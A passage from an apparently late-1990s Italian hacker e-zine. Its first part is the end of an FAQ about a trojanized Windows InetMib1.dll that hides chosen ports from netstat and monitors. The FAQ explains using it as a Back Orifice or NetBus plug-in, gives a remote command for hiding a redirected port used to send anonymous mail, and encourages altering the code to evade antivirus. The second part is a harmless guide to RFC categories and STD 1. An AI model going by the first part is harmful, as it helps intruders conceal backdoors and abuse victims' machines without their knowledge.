in uso siano nella lista da nascondere. Se cio' e' vero non ritorna
l'informazione e il povero netstat (o un qualunque programma equivalente)
non potra' stampare i dati. Risultato netto per l'utente: la porta non e'
in uso.

D) Qual'e' il formato del file devset.ini ?
R) Questo file viene creato dalla InetMib1.dll fake nella directory 
principale di windows (\Windows per win9X o \Winnt per Windows NT)
E' un semplice file di testo editabile a mano con un qualunque editor
(Edit.com va benissimo).
Il primo numero del file puo' valere o 1 o 0. Se vale 1 il filtro delle
porte e' attivo e quindi InetMib1.dll truccata si comportera' come
ho detto prima. Se vale 0 il filtro e' disattivato e la dll truccata
chiamera' fedelmente le funzioni originali senza alcun intervento.
I venti numeri che seguono sono le porte che devono essere filtrate.
Se sappiamo gia' quali sono le porte che devono essere nascoste basta 
editare questo file una volta per tutte e lasciarlo li' ad operare.

D) Perche' rendere la Dll truccata plug-in di BO o NetBus ?
R) Il motivo e' essenzialmente uno: avere un controllo delle porte filtrate
anche da remoto. La Dll infatti esporta delle funzioni aggiuntive
rispetto all' originale e che seguono lo standard di chiamata dei plug-in
di BO e NetBus ( o di qualunque altro programma che si adegua a questo
standard). Supponiamo infatti che l'utente utilizzi un programma di
monitoraggio delle connessioni sempre attivo in memoria e supponiamo
che noi da remoto vogliamo redirigere una sua porta per spedire mail
anonime. Se noi facessimo una ridirezione senza nascondere la porta 
al minimo accenno di collegamento al server mail apparirebbe la 
situazione all' utente che potrebbe accorgersi della cosa.
Invece noi da remoto, con il comando :
pluginexec inetmib1:_InsertPort portadaredirigere
aggiungeremo la porta a quelle da filtrare e l'utente non avra' alcun feedback
degli eventuali collegamenti della sua porta con il server di posta.
Uno potrebbe dire: "Vabbe' potrei editare il file di testo da remoto 
con BO o NetBus, perche' fare un plug-in ?".
Ottima domanda, e nel caso l'utente usi solo netstat questa cosa funziona
pure. Ma se l'utente usa un programma che gli da lo stato "in tempo reale" 
delle porte, l'accesso al file devset.ini sara' negato perche' in uso 
dalla DLL che non e' stata scaricata dalla memoria.
Ovviamente (eheh) avevo pensato a questa eventualita' ed infatti se 
analizzate il sorgente l'array che mantiene la lista di porte da filtrare e' 
in una sezione SHARED, ovvero e' condivisa da tutte le istanze delle DLL
truccate presenti eventualmente in memoria.
Quindi non appena la DLL caricata dal server di BO andra' ad aggiungere
una porta in piu' da filtrare la aggiungera' anche all' array della 
DLL caricata dal programma di monitor  con l'effetto di
filtrare effettivamente la porta in questione: carino no ?

D) Posso usare la DLL senza usarla come plug-in di BO o NetBus ?
R) Certamente. Il suo funzionamento non e' legato alla presenza di queste
due backdoor. Come dovrebbe essere ormai chiaro l'essere un plug-in
di BO o NB espande solo i campi di applicazione della DLL ma non ne
limita le funzionalita'.

D) Non c'e' pericolo che venga intercettata dagli AV ?
R) Ovviamente si. La DLL contiene codice eseguibile come qualunque 
programma per windows. E' chiaro che maggiore sara' la diffusione della DLL
maggiore saranno le probabilita' che cada nelle mani degli analisti
virali. Voi comunque avete il codice e siete liberi di modificarlo a 
vostro piacimento per renderla invisibile alla scansione. Tutto sta alla
vostra fantasia...

D) La DLL puo' essere usata per nascondere le porte anche ad un personal
   firewall ?
R) No. O almeno se il personal firewall e' ben strutturato no. Questi ultimi
infatti non usano Inetmib1 per le loro statistiche ma, in genere, installano
i propri kernel drivers per filtrare il traffico di rete.
Se avete un personal firewall che usa la InetMib1 per avere lo stato delle 
connessioni: beh, cambiatelo !

Buon Divertimento

Devil
                          

===========================================================================================

-----------------------------------------
Le RFC demistificate by Buttha SPP MeMbEr
-----------------------------------------

Bene bene. Rieccoci qui: io con la voglia di scrivere e voi con
la voglia di leggere (mah... hehehe)
Di cosa vi voglio parlare? Delle RFC e di come cavarsela in mezzo
a quella marea di documenti.
Per questa piccola guida mi sono avvalso di due fonti:
TCP/IP di Apogeo e la mia piccola esperienza.
Vi siete mai trovati nella necessita' di cercare la documentazione
su un qualche protocollo e di non sapere da dove cominciare?
Bene, ecco i miei two cents d'aiuto.

Incominciamo:
gli standard della rete vengono pubblicati dalla IAB (Internet
Architecture Board) sotto forma di RFC (Request For Comment).
Volete sapere come funziona il TCP/IP? L'udp? L'icmp? L'smtp?
C'e' scritto *tutto* nelle RFC. Consideratele una bibbia, una
raccolta di tutte le informazioni che vi possono servire.
Problemi: non tutti gli standard della rete diventano RFC standard,
anche se vengono pubblicati in qualche RFC, inoltre, alcune RFC
standard diventano obsolete e vengono rimpiazzate da altre RFC. 
Piccola nota: alcuni numeri di RFC mancano perche' ci sono proposte
di RFC mai pubblicate.

Parentesi dedicata al buon umore: alcune RFC non descrivono in alcun
modo uno standard... per esempio la RFC 968 che da una visione ironica
dei problemi che deve affrontare un amministatore di rete, oppure la
RFC 527 che parla del linguaggio tutto particolare degli amministratori
alle prese con discussioni sulla tecnologia, oppure la RFC 1118,
intitolata "The Hitchhiker's Guide to the Internet" (Guida ad Internet
per autostoppisti), un documento di aiuto ai nuovi utenti della rete,
per chi comincia, insomma.

Come nasce una RFC: chiunque puo' scrivere una RFC; questa viene
valutata e classificata. La classificazione serve a stabilire se
la RFC puo' essere considerata uno standard oppure no.
Ecco le CLASSIFICAZIONI standard delle RFC:

***********************
REQUIRED: obbligatorie. Tutti gli host devono implementarle

RECCOMENDED: non sono obbligatorie ma sono, praticamente, implementate
da tutti gli host della rete

ELECTIVE: standard non obbligatorio; se lo si implementa, la sua
configurazione e' completamente definita in una RFC elettiva

LIMITED USE: RFC per uso limitato; non e' destinata ad un impiego
generale

NOT RECCOMENDED: non si consiglia di implementarle
***********************

Ora vediamo qual e' il processo di evoluzione di una RFC prima
che questa venga accettata come standard di Internet (sempre se
lo diventera'... non e' detto).

Ecco una lista di stati per una RFC, da quello meno importante a
quello piu' importante (standard). Vediamo, cioe', tutti i passi:

***********************
EXPERIMENTAL protocol: protocollo non consigliato per l'implementazione
a meno che non si stia partecipando alla sperimentazione

PROPOSED standard: e' passata attraverso un intenso processo di
revisione. Si auspica l'implementazione e la sperimentazione da parte
di parecchi gruppi ma bisogna aspettarsi la pubblicazione di alcune
modifiche prima che diventi un Internet Standard

DRAFT standard: specificazione che e' stata capita da tutti ed e'
permanente. Serve come base per sviluppare l'implementazione finale

INTERNET standard: la RFC ha raggiunto un'alto grado di maturita'
tecnica. E' stato stabilito (dallo IESG: Internet Engineering Steering
Group) che questa RFC e' un protocollo standard ufficiale e le e' stato
assegnato un numero STD.
Gli STD sono le RFC standard, quindi, a volte, e' piu' semplice trovare
lo Standard Internet per un protocollo esaminando i documenti STD al
posto delle RFC. Una RFC stantard, quindi, ha due numeri: il numero
di RFC e il numero di STD.

--------------
HISTORIC PROTOCOL: una RFC quando e' in uno qualsiasi dei quattro
stadi di maturazione visti, puo' diventare, immediatamente, un
historic protocol, cioe' un protocollo che difficilmente diventera'
standard: e' stato eliminato e sostituito con un nuovo protocollo
oppure e' stato abbandonato perche' non interessante

INFORMATIONAL PROTOCOL: si tratta di protocolli sviluppati da
rivenditori o da altre organizzazioni autorevoli al di fuori dello
IESG. Sono pubblicati per fornire informazioni sulle loro
specificazioni
***********************

Il processo di maturazione di una RFC segue queste regole:
1) un protocollo viene proposto come standard allo IESG. Solo lo IESG
puo' raccomandare che un protocollo intraprenda il percorso per
diventare uno standard. Analogamente, solo in base alle raccomandazioni
dello IESG un protocollo puo' spostarsi da uno stato all'altro
2) la transizione da standard proposto (proposed standard) a bozza
standard (draft standard) puo' avvenire solo dopo che il protocollo
e' rimasto per almeno sei mesi nello stato di standard proposto
3) la transizione da bozza standard a standard internet puo' avvenire
solo dopo che il protocollo e' rimasto nello stadio di bozza (draft
standard) per almeno quattro mesi
4) a volte si puo' stabilire che un protocollo non e' ancora pronto
per la standardizzazione. Lo si assegna, quindi, ad uno stadio
sperimentale e, per reinserirlo nel percorso per diventare standard,
lo IESG deve presentarlo nuovamente dopo averlo rielaborato
5) a volte un protocollo viene sostituito da un'altro protocollo.
In questo caso passa allo stadio storico (historic protocol) e questo
puo' avvenire in qualunque momento del processo

Numerazione delle RFC: un documento pubblicato riceve un numero
di RFC. Se questa RFC necessita di aggiornamenti, si pubblica una
nuova RFC con un nuovo numero identificativo. La precedente versione
di RFC diventa OBSOLETA.
Forse per la poca voglia di lavorare, o forse per qualche motivo che
mi sfugge, le RFC obsolete non sono segnalate (o cancellate).

Eccoci giunti alla domanda iniziale: come faccio a sapere che RFC
descrivono un protocollo? Una prima risposta l'abbiamo gia' avuta:
cercare nei documenti STD.
Ma c'e' un'altra risposta, molto piu' esauriente e comoda:
lo Standard One. Questo documento (chiamato STD0001) viene pubblicato
periodicamente e contiene una lista aggiornata di tutti i protocolli
standard di Internet.
Lo STD0001 contiene, anche, gli elenchi delle RFC che hanno conseguito
i livelli di maturazione draft, proposed standard, experimental
protocol, informational protocol e historical protocol.
In pratica, abbiamo tutto cio' che ci serve.

Ogni STD0001 e' una RFC, che ha un suo numero. Essendo uno STD
allora ha due numeri: il numero di RFC e il numero di standard,
che e' 1.
Per esempio, la Standard One che sto guardando adesso (di Giugno
del 1999), e' la RFC 2500 STD 1.

Nell'intestazione c'e' una lista delle RFC diventate obsolete
(cioe' modificate e, quindi, che hanno ricevuto un nuovo numero).

Poi abbiamo le seguenti liste:

***********************
1) STANDARD PROTOCOLS (protocolli standard)
vediamo qualche voce:

Protocol   Name                                                RFC STD *
========   =====================================              ==== === 
--------   Internet Official Protocol Standards               2500   1
IP         Internet Protocol                                   791   5
            as amended by:--------
--------     IP Subnet Extension                               950   5
--------     IP Broadcast Datagrams                            919   5
--------     IP Broadcast Datagrams with Subnets               922   5
ICMP       Internet Control Message Protocol                   792   5
IGMP       Internet Group Multicast Protocol                  1112   5
UDP        User Datagram Protocol                              768   6
TCP        Transmission Control Protocol                       793   7
TELNET     Telnet Protocol                                 854,855   8
FTP        File Transfer Protocol                              959   9
SMTP       Simple Mail Transfer Protocol                       821  10

eccetera

2) Network-Specific Standard Protocols (protocolli standard specifici
di reti)

protocolli implementati soltanto su reti specifiche. Non tutte le
installazione TCP/IP sono tenute ad implementarli.

Eccone alcuni:

Protocol   Name                                            RFC   STD *
========   =====================================          =====  === =
IP-ATM     Classical IP and ARP over ATM                   2225
ATM-ENCAP  Multiprotocol Encapsulation over ATM            1483
IP-TR-MC   IP Multicast over Token-Ring LANs               1469
IP-FDDI    Transmission of IP and ARP over FDDI Net        1390    36
IP-X.25    X.25 and ISDN in the Packet Mode                1356
ARP        Address Resolution Protocol                      826    37

3) Draft Standard Protocols (protocolli standard in stato di bozza)

eccone alcuni:

Protocol   Name                                                     RFC
========   =====================================                   =====
VACM-SNMP  View-based Access Control Model for SMMP                2575*
USM-SNMPV3 User-based Security Model for SNMPv3                    2574*
SNMP-APP   SNMP Applications                                       2573*
MPD-SNMP   Message Processing & Dispatching SNMP                   2572*
ARCH-SNMP  Architecture Describing SNMP Management Frameworks      2571*
ICMPv6     ICMPv6 for IPv6                                         2463*
IPV6-AUTO  IPv6 Stateless Address Autoconfiguation                 2462*

4) Proposed Standard Protocols (standard proposti)

il solito piccolo estratto (cosi', solo per farvi credere a quello che
dico hehehe)

Protocol   Name                                                     RFC
========   =====================================                   =====
POP3-EXT   POP3 Extension Mechanism                                2449*
IMIP       iCalendar Message-Based Interoperability                2447*
ITIP       iCalendar Message-Based Interoperability                2446*
ICALENDAR  Internet Calendaring, Scheduling Core..                 2445*
OTP-SASL   OTP SASL Mechanism                                      2444*
--------   OpenPGP Message Format                                  2440*
--------   BGP Route Flap Damping                                  2439*
--------   RTP Payload Format for JPEG-compressed Video            2435*
--------   RTP Payload Format for BT.656 Video Encoding            2431*
--------   RTP Payload Format for H.263+                           2429*
--------   FTP Extensions for IPv6 and NATs                        2428
MIME-VCARD vCard MIME Directory Profile                            2426


5) Experimental Protocols (protocolli sperimentali)

Protocol   Name                                                     RFC
========   =====================================                   =====
-------    NewReno Modification to TCP's Fast Recovery Algorithm   2582*
-------    Mapping between LPD and IPP Protocols                   2569*
IPP-RAT    Rationale for the Structure of IPP                      2568*
IPP-DG     Design Goals for an Internet Printing Protocol          2567*
IPP-M-S    Internet Printing Protocol/1.0: Model and Semantics     2566*
IPP-E-T    Internet Printing Protocol/1.0: Encoding and Transport  2565*
DNS-INFO   Detached Domain Name System (DNS) Information           2540*

6) Informational Protocols

Protocol   Name                                                     RFC
=======    ====================================                    =====
AUDIO/L16  Audio/L16 MIME content type                             2586*
FTP-SEC    FTP Security Considerations                             2577*
--------   6Bone Routing Practice                                  2546*
DNS-SOC    DNS Security Operational Considerations                 2541*

7) Historic Protocols

Protocol   Name                                                RFC  STD
========   =====================================              ===== ===
CONTENT    Content Type Header Field                          1049  11 *
IPV6-UNI   IPv6 Provider-Based Unicast Address                2073
IPV6-Addr  IPv6 Addressing Architecture                       1884
L2F        Cisco Layer Two Forwarding Protocol                2341
IPSO       DoD Security Options for IP                        1108
SNMPv2     Manager-to-Manager MIB                             1451
***********************

Bene, ora resta un'altro piccolo dettaglio:
dove trovare questo Standard One?
Ovunque ci siano le RFC. Dove ci sono le RFC li ci sono, anche, gli STD.
Cercate lo STD0001 e siete a posto.
Qualche sito? Mah... ce ne sono miriadi: basta usare un motore di ricerca
e scrivere RFC. Comunque, ecco un link:
http://www.faqs.org/rfcs/

Bene, questo e' tutto: spero di avervi fatto conoscere qualcosa di nuovo e
utile.

Buttha
